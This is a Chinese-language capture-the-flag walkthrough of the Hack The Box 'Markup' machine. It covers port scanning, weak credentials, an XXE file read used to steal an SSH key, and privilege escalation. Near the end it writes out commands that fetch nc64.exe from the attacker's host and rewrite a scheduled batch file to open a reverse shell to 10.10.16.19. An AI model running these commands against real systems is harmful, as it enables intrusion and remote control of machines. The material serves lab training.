?Hack The Box - Markup XXE BUGS

hack the box - Markup XXE BUGS

我个人习惯先扫端口再一 一枚举:

Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_8.1 (protocol 2.0)
| ssh-hostkey:
| 3072 9f:a0:f7:8c:c6:e2:a4:bd:71:87:68:82:3e:5d:b7:9f (RSA)
| 256 90:7d:96:a9:6e:9e:4d:40:94:e7:bb:55:eb:b3:0b:97 (ECDSA)
|_ 256 f9:10:eb:76:d4:6d:4f:3e:17:f3:93:d6:0b:8c:4b:81 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: MegaShopping
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.2.28)
|_http-title: MegaShopping
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
| tls-alpn:
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.2.28
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Timing level 5 (Insane) used
No OS matches for host
Network Distance: 2 hops

TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 217.00 ms 10.10.16.1
2 447.00 ms 10.129.64.100

What version of Apache is running on the target's port 80?

2.4.41

What username:password combination logs in successfully?

admin:password

What is the word at the top of the page that accepts user input?

order

What XML version is used on the target?

1.0

What does the XXE / XEE attack acronym stand for?

XML External Entity

接着便开始构造payload尝试读取文件。https://book.hacktricks.xyz/pentesting-web/xxe-xee-xml-external-entity#read-file。值得注意是,路径的斜杠,操作系统识别的均为 "/",而html网页显示的普遍为"\",排个雷。构造完后发现可读文件。

该URL记录了 windows 及 linux 系统关键信息文件名,可以做个备忘https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html,再提一嘴,注意反斜杠。随便找个支持批量替换的文本工具把"\"全部替换为"/",然后载入burpsuite开始自动跑。可惜没什么用。就跑出一个这来,还不知道能干什么。

接着回到正题看问题,顺着问题思路走。

What username can we find on the webpage's HTML code?

右键源代码瞅见个注释,英语不好所以第一次会错过。翻译一下的意思就是说由Daniel修改

Daniel

好吧,让我们去目标 Log-Management 找文件,硬生生的一个路径一个路径爆破,也可以,但是太费时间了,也太费运气了,运气这东西搞不好是有限的,还是省着点用。那就梳理一下目前掌握的信息,目标开着ssh 22端口,开着80 http,443https就是弱口令admin:password 的 web登陆页面。我们还有XXE实体注入漏洞,以及一个Daniel 可能用户名。

我第一反应是顺着ssh去试试弱口令,不过没什么用。但是windows或是linux都有一个特性,就是如果计算机上的用户使用过ssh,会在用户 home目录下 存有 .ssh 这个文件夹,里边保存了用户链接服务器的指纹,也可能保存了用户的id_rsa密钥文件,刚好我们又有XXE注入漏洞可以读取文件。

注意最下边还有一排回车换行加的空格,别复制少了。

ssh -i "C:\Users\World'sEnd\Desktop\1" Daniel@10.129.0.1 -p 22

 

What is the file located in the Log-Management folder on the target?

job.bat

What executable is mentioned in the file mentioned before?

wevtutil.exe

用户Flag:

另一个管理员的flag需要提升到管理员权限才能拿到。

根据 Progarm Files(x86) 64位系统向下兼容标志性的文件夹判断其是64位系统。

本地开启 python 开启 http 服务,默认是开在当前用户根目录

python -m http.server

把对应的64版本辅助提权信息枚举winPEASx64.exe放到用户根目录。然后到目标上用wget下载文件。

但是发现wget不能用。切换powershell试试。

成功传到目标机器上,开始运行枚举可提权利用的信息。没有枚举到什么,只有一些文件的完全访问权,但是其中并没有什么看起来像是会以系统权限调用的东西。完全访问控制里有job.bat,然后我想起job.bat,

细看一下是清理日志的东西,但是需要管理员身份去调用,查看计划任务发现也是跟这个文件无关的信息,主要计划任务查看也受权限限制无法查看管理员权限的计划任务,PS查看进程也没有wevtil程序运行的相关信息。靠第六感感觉这文件名字像是个计划任务,而我们对其又有写入权限,试试嘛,可以传入个msf木马让其运行,或是传个nc反弹shell,我这里传个nc。

wget http://10.10.16.19:8000/nc64.exe -O nc64.exe

写入:

echo C:\Log-Management\nc64.exe -e cmd.exe 10.10.16.19 1337 >C:\Log-Management\job.bat

本地接听等待shell回连:

获取root flag:

如果未回连请关闭自身系统防火墙再试试。


请使用浏览器的分享功能分享到微信等